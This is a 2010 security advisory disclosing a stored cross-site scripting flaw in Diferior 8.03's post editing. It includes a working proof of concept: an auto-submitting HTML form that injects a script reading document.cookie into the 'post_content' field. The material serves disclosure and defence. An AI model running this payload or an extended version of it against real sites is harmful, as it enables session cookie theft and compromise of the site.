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From:High-Tech Bridge Security Research <advisory_(at)_htbridge.ch>
Date:30 ноября 2010 г.
Subject:Stored XSS (Cross Site Scripting) vulnerability in Diferior

Vulnerability ID: HTB22721
Reference: http://www.htbridge.ch/advisory/stored_xss_cross_site_scripting_vulnerability_in_
diferior.html

Product: Diferior
Vendor: Povilas Musteikis ( http://www.diferior.com/ )
Vulnerable Version: 8.03 and probably prior versions
Vendor Notification:
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "views/post.php" script to properly sanitize user-supplied input in "post_content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/post/edit/2/p1.html" method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="category" value="sample-category-1">
<input type="hidden" name="header" value="Sample post">
<input type="hidden" name="subheader" value="Sample subheader">
<input type="hidden" name="post_content" value='html<script>alert(document.
cookie)</script>'>
<input type="hidden" name="schedule" value="now">
<input type="hidden" name="scheduler" value="10/11/23">
<input type="hidden" name="Date_Year" value="2010">
<input type="hidden" name="Date_Month" value="11">
<input type="hidden" name="Date_Day" value="22">
<input type="hidden" name="Time_Hour" value="20">
<input type="hidden" name="Time_Minute" value="47">
<input type="hidden" name="Time_Second" value="23">
<input type="hidden" name="usehtml" value="html">
</form>
<script>
document.main.submit();
</script>

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